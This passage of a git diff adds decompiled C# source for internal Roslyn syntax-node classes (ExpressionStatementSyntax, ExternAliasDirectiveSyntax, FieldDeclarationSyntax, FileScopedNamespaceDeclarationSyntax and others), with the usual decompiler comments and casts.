((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ExpressionStatementSyntax(SyntaxKind kind, GreenNode? attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 3; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expression); + this.expression = expression; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => expression, + 2 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ExpressionStatementSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExpressionStatement(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExpressionStatement(this); + } + + public ExpressionStatementSyntax Update(SyntaxList attributeLists, ExpressionSyntax expression, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || expression != Expression || semicolonToken != SemicolonToken) + { + ExpressionStatementSyntax expressionStatementSyntax = SyntaxFactory.ExpressionStatement(attributeLists, expression, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + expressionStatementSyntax = GreenNodeExtensions.WithDiagnosticsGreen(expressionStatementSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + expressionStatementSyntax = GreenNodeExtensions.WithAnnotationsGreen(expressionStatementSyntax, (IEnumerable)annotations); + } + return expressionStatementSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ExpressionStatementSyntax(base.Kind, attributeLists, expression, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ExpressionStatementSyntax(base.Kind, attributeLists, expression, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ExpressionStatementSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 3; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + ExpressionSyntax expressionSyntax = (ExpressionSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)expressionSyntax); + expression = expressionSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + semicolonToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)expression); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ExpressionStatementSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ExpressionStatementSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ExpressionStatementSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionSyntax.cs new file mode 100644 index 0000000..f05759c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExpressionSyntax.cs @@ -0,0 +1,21 @@ +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal abstract class ExpressionSyntax : ExpressionOrPatternSyntax +{ + internal ExpressionSyntax(SyntaxKind kind, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + } + + internal ExpressionSyntax(SyntaxKind kind) + : base(kind) + { + } + + protected ExpressionSyntax(ObjectReader reader) + : base(reader) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExternAliasDirectiveSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExternAliasDirectiveSyntax.cs new file mode 100644 index 0000000..48c2ba4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/ExternAliasDirectiveSyntax.cs @@ -0,0 +1,156 @@ +using System; +using System.Collections.Generic; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class ExternAliasDirectiveSyntax : CSharpSyntaxNode +{ + internal readonly SyntaxToken externKeyword; + + internal readonly SyntaxToken aliasKeyword; + + internal readonly SyntaxToken identifier; + + internal readonly SyntaxToken semicolonToken; + + public SyntaxToken ExternKeyword => externKeyword; + + public SyntaxToken AliasKeyword => aliasKeyword; + + public SyntaxToken Identifier => identifier; + + public SyntaxToken SemicolonToken => semicolonToken; + + internal ExternAliasDirectiveSyntax(SyntaxKind kind, SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)externKeyword); + this.externKeyword = externKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)aliasKeyword); + this.aliasKeyword = aliasKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ExternAliasDirectiveSyntax(SyntaxKind kind, SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)externKeyword); + this.externKeyword = externKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)aliasKeyword); + this.aliasKeyword = aliasKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal ExternAliasDirectiveSyntax(SyntaxKind kind, SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)externKeyword); + this.externKeyword = externKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)aliasKeyword); + this.aliasKeyword = aliasKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)identifier); + this.identifier = identifier; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => externKeyword, + 1 => aliasKeyword, + 2 => identifier, + 3 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.ExternAliasDirectiveSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitExternAliasDirective(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitExternAliasDirective(this); + } + + public ExternAliasDirectiveSyntax Update(SyntaxToken externKeyword, SyntaxToken aliasKeyword, SyntaxToken identifier, SyntaxToken semicolonToken) + { + if (externKeyword != ExternKeyword || aliasKeyword != AliasKeyword || identifier != Identifier || semicolonToken != SemicolonToken) + { + ExternAliasDirectiveSyntax externAliasDirectiveSyntax = SyntaxFactory.ExternAliasDirective(externKeyword, aliasKeyword, identifier, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + externAliasDirectiveSyntax = GreenNodeExtensions.WithDiagnosticsGreen(externAliasDirectiveSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + externAliasDirectiveSyntax = GreenNodeExtensions.WithAnnotationsGreen(externAliasDirectiveSyntax, (IEnumerable)annotations); + } + return externAliasDirectiveSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new ExternAliasDirectiveSyntax(base.Kind, externKeyword, aliasKeyword, identifier, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new ExternAliasDirectiveSyntax(base.Kind, externKeyword, aliasKeyword, identifier, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal ExternAliasDirectiveSyntax(ObjectReader reader) + : base(reader) + { + ((GreenNode)this).SlotCount = 4; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + externKeyword = syntaxToken; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + aliasKeyword = syntaxToken2; + SyntaxToken syntaxToken3 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken3); + identifier = syntaxToken3; + SyntaxToken syntaxToken4 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken4); + semicolonToken = syntaxToken4; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)externKeyword); + writer.WriteValue((IObjectWritable)(object)aliasKeyword); + writer.WriteValue((IObjectWritable)(object)identifier); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static ExternAliasDirectiveSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(ExternAliasDirectiveSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new ExternAliasDirectiveSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FieldDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FieldDeclarationSyntax.cs new file mode 100644 index 0000000..768f625 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FieldDeclarationSyntax.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FieldDeclarationSyntax : BaseFieldDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly VariableDeclarationSyntax declaration; + + internal readonly SyntaxToken semicolonToken; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override VariableDeclarationSyntax Declaration => declaration; + + public override SyntaxToken SemicolonToken => semicolonToken; + + internal FieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal FieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal FieldDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + : base(kind) + { + ((GreenNode)this).SlotCount = 4; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)declaration); + this.declaration = declaration; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => declaration, + 3 => semicolonToken, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FieldDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFieldDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFieldDeclaration(this); + } + + public FieldDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, VariableDeclarationSyntax declaration, SyntaxToken semicolonToken) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_002f: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || declaration != Declaration || semicolonToken != SemicolonToken) + { + FieldDeclarationSyntax fieldDeclarationSyntax = SyntaxFactory.FieldDeclaration(attributeLists, modifiers, declaration, semicolonToken); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + fieldDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(fieldDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + fieldDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(fieldDeclarationSyntax, (IEnumerable)annotations); + } + return fieldDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FieldDeclarationSyntax(base.Kind, attributeLists, modifiers, declaration, semicolonToken, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FieldDeclarationSyntax(base.Kind, attributeLists, modifiers, declaration, semicolonToken, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FieldDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 4; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)variableDeclarationSyntax); + declaration = variableDeclarationSyntax; + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + semicolonToken = syntaxToken; + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)declaration); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + } + + static FieldDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FieldDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FieldDeclarationSyntax(r))); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FileScopedNamespaceDeclarationSyntax.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FileScopedNamespaceDeclarationSyntax.cs new file mode 100644 index 0000000..a67f7b9 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax/FileScopedNamespaceDeclarationSyntax.cs @@ -0,0 +1,302 @@ +using System; +using System.Collections.Generic; +using Microsoft.CodeAnalysis.Syntax.InternalSyntax; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Syntax.InternalSyntax; + +internal sealed class FileScopedNamespaceDeclarationSyntax : BaseNamespaceDeclarationSyntax +{ + internal readonly GreenNode? attributeLists; + + internal readonly GreenNode? modifiers; + + internal readonly SyntaxToken namespaceKeyword; + + internal readonly NameSyntax name; + + internal readonly SyntaxToken semicolonToken; + + internal readonly GreenNode? externs; + + internal readonly GreenNode? usings; + + internal readonly GreenNode? members; + + public override SyntaxList AttributeLists => new SyntaxList(attributeLists); + + public override SyntaxList Modifiers => new SyntaxList(modifiers); + + public override SyntaxToken NamespaceKeyword => namespaceKeyword; + + public override NameSyntax Name => name; + + public SyntaxToken SemicolonToken => semicolonToken; + + public override SyntaxList Externs => new SyntaxList(externs); + + public override SyntaxList Usings => new SyntaxList(usings); + + public override SyntaxList Members => new SyntaxList(members); + + internal FileScopedNamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, GreenNode? externs, GreenNode? usings, GreenNode? members, DiagnosticInfo[]? diagnostics, SyntaxAnnotation[]? annotations) + : base(kind, diagnostics, annotations) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + } + + internal FileScopedNamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, GreenNode? externs, GreenNode? usings, GreenNode? members, SyntaxFactoryContext context) + : base(kind) + { + SetFactoryContext(context); + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + } + + internal FileScopedNamespaceDeclarationSyntax(SyntaxKind kind, GreenNode? attributeLists, GreenNode? modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, GreenNode? externs, GreenNode? usings, GreenNode? members) + : base(kind) + { + ((GreenNode)this).SlotCount = 8; + if (attributeLists != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(attributeLists); + this.attributeLists = attributeLists; + } + if (modifiers != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(modifiers); + this.modifiers = modifiers; + } + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)namespaceKeyword); + this.namespaceKeyword = namespaceKeyword; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)name); + this.name = name; + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)semicolonToken); + this.semicolonToken = semicolonToken; + if (externs != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(externs); + this.externs = externs; + } + if (usings != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(usings); + this.usings = usings; + } + if (members != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(members); + this.members = members; + } + } + + internal override GreenNode? GetSlot(int index) + { + return (GreenNode?)(index switch + { + 0 => attributeLists, + 1 => modifiers, + 2 => namespaceKeyword, + 3 => name, + 4 => semicolonToken, + 5 => externs, + 6 => usings, + 7 => members, + _ => null, + }); + } + + internal override SyntaxNode CreateRed(SyntaxNode? parent, int position) + { + return (SyntaxNode)(object)new Microsoft.CodeAnalysis.CSharp.Syntax.FileScopedNamespaceDeclarationSyntax(this, parent, position); + } + + public override void Accept(CSharpSyntaxVisitor visitor) + { + visitor.VisitFileScopedNamespaceDeclaration(this); + } + + public override TResult Accept(CSharpSyntaxVisitor visitor) + { + return visitor.VisitFileScopedNamespaceDeclaration(this); + } + + public FileScopedNamespaceDeclarationSyntax Update(SyntaxList attributeLists, SyntaxList modifiers, SyntaxToken namespaceKeyword, NameSyntax name, SyntaxToken semicolonToken, SyntaxList externs, SyntaxList usings, SyntaxList members) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + //IL_0066: Unknown result type (might be due to invalid IL or missing references) + //IL_0067: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0039: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004b: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005a: Unknown result type (might be due to invalid IL or missing references) + if (attributeLists != AttributeLists || modifiers != Modifiers || namespaceKeyword != NamespaceKeyword || name != Name || semicolonToken != SemicolonToken || externs != Externs || usings != Usings || members != Members) + { + FileScopedNamespaceDeclarationSyntax fileScopedNamespaceDeclarationSyntax = SyntaxFactory.FileScopedNamespaceDeclaration(attributeLists, modifiers, namespaceKeyword, name, semicolonToken, externs, usings, members); + DiagnosticInfo[] diagnostics = ((GreenNode)this).GetDiagnostics(); + if (diagnostics != null && diagnostics.Length != 0) + { + fileScopedNamespaceDeclarationSyntax = GreenNodeExtensions.WithDiagnosticsGreen(fileScopedNamespaceDeclarationSyntax, diagnostics); + } + SyntaxAnnotation[] annotations = ((GreenNode)this).GetAnnotations(); + if (annotations != null && annotations.Length != 0) + { + fileScopedNamespaceDeclarationSyntax = GreenNodeExtensions.WithAnnotationsGreen(fileScopedNamespaceDeclarationSyntax, (IEnumerable)annotations); + } + return fileScopedNamespaceDeclarationSyntax; + } + return this; + } + + internal override GreenNode SetDiagnostics(DiagnosticInfo[]? diagnostics) + { + return (GreenNode)(object)new FileScopedNamespaceDeclarationSyntax(base.Kind, attributeLists, modifiers, namespaceKeyword, name, semicolonToken, externs, usings, members, diagnostics, ((GreenNode)this).GetAnnotations()); + } + + internal override GreenNode SetAnnotations(SyntaxAnnotation[]? annotations) + { + return (GreenNode)(object)new FileScopedNamespaceDeclarationSyntax(base.Kind, attributeLists, modifiers, namespaceKeyword, name, semicolonToken, externs, usings, members, ((GreenNode)this).GetDiagnostics(), annotations); + } + + internal FileScopedNamespaceDeclarationSyntax(ObjectReader reader) + : base(reader) + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Expected O, but got Unknown + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0037: Expected O, but got Unknown + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00a6: Expected O, but got Unknown + //IL_00c0: Unknown result type (might be due to invalid IL or missing references) + //IL_00c7: Expected O, but got Unknown + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Expected O, but got Unknown + ((GreenNode)this).SlotCount = 8; + GreenNode val = (GreenNode)reader.ReadValue(); + if (val != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val); + attributeLists = val; + } + GreenNode val2 = (GreenNode)reader.ReadValue(); + if (val2 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val2); + modifiers = val2; + } + SyntaxToken syntaxToken = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken); + namespaceKeyword = syntaxToken; + NameSyntax nameSyntax = (NameSyntax)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)nameSyntax); + name = nameSyntax; + SyntaxToken syntaxToken2 = (SyntaxToken)reader.ReadValue(); + ((GreenNode)this).AdjustFlagsAndWidth((GreenNode)(object)syntaxToken2); + semicolonToken = syntaxToken2; + GreenNode val3 = (GreenNode)reader.ReadValue(); + if (val3 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val3); + externs = val3; + } + GreenNode val4 = (GreenNode)reader.ReadValue(); + if (val4 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val4); + usings = val4; + } + GreenNode val5 = (GreenNode)reader.ReadValue(); + if (val5 != null) + { + ((GreenNode)this).AdjustFlagsAndWidth(val5); + members = val5; + } + } + + internal override void WriteTo(ObjectWriter writer) + { + ((GreenNode)this).WriteTo(writer); + writer.WriteValue((IObjectWritable)(object)attributeLists); + writer.WriteValue((IObjectWritable)(object)modifiers); + writer.WriteValue((IObjectWritable)(object)namespaceKeyword); + writer.WriteValue((IObjectWritable)(object)name); + writer.WriteValue((IObjectWritable)(object)semicolonToken); + writer.WriteValue((IObjectWritable)(object)externs); + writer.WriteValue((IObjectWritable)(object)usings); + writer.WriteValue((IObjectWritable)(object)members); + } + + static FileScopedNamespaceDeclarationSyntax() + { + ObjectBinder.RegisterTypeReader(typeof(FileScopedNamespaceDeclarationSyntax), (Func)((ObjectReader r) => (IObjectWritable)(object)new FileScopedNamespaceDeclarationSyntax(r))); + } +} diff --git 